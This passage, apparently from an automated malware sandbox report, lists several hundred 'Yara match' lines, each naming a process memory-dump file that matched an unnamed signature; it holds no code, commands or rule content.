Source: Yara match	File source: 6624.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6987.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6818.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7157.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7298.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7031.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6868.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7207.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7038.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7224.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6462.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6890.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7025.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6403.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6437.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7006.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6963.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6707.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6557.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6662.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6268.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6870.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6465.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6280.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7043.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6423.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6255.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7239.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7056.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6381.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6392.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6835.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7310.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6803.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7092.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6269.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6408.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7191.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6689.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6773.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6969.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7051.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6315.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6798.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6596.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6413.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6699.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7094.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6355.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6966.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6281.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6412.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6923.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6952.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6776.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6822.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7165.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6288.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6353.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6790.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7077.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7123.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7049.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6458.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7395.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6800.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7156.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7220.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7058.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6636.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6495.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6590.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7355.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6434.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6577.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7237.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7022.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7143.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7019.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6416.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6250.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6603.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6470.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7011.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6594.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7007.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6926.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6404.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6781.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7206.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6856.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6295.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7266.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7175.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7202.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7398.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7091.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6348.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6971.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6824.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7119.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6347.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6573.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7068.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6906.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6460.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7308.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6752.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6943.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7219.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6370.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6506.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7230.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6406.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6924.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6631.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7186.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7409.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6224.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7299.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6275.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6375.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6742.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7365.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6446.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6655.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7168.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7126.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7410.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7258.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7012.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6825.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6568.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7320.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7404.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7173.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7285.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6898.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7483.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7343.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6649.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7327.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7284.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7079.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6933.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6482.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7041.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7255.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6518.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6314.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6836.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6550.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7234.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6556.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7016.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6351.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7109.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7292.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6666.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6629.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6366.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7353.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6745.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6860.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7250.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6542.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6424.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7159.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6768.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6429.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7227.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7184.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6997.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6602.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7249.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6534.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6702.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6290.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6815.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7241.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6887.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6293.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6303.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6807.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6560.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6251.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6958.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6899.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6545.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7412.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6731.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6950.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7185.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7153.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6492.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6362.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6757.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7062.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7182.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7122.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6937.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6582.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7064.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6612.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6802.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7065.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6517.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7441.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6873.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7169.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6791.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7081.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6640.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6908.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6481.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7010.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7189.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6292.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6466.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6985.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6880.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6321.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6717.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6648.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6633.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7162.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7248.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6664.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6665.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7322.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7112.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6400.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6402.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6711.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7137.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6363.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6925.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6477.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6809.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6279.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7254.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6770.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6282.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6817.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7037.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6859.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6474.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6262.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6513.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7277.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6311.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6951.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6905.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6508.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6617.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6895.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7136.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7385.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6647.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6480.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6285.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6988.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7251.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6991.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6912.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7417.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6983.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6642.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7317.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6737.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6342.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7309.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6931.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6661.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7009.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6340.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6272.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6990.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7424.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7283.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7300.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7437.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6433.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7128.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7340.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6637.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6377.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7027.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6264.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6849.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6693.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7099.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6345.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7183.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6249.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6738.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6522.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7222.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7245.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6232.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6322.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6821.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7268.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6723.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7164.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6883.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
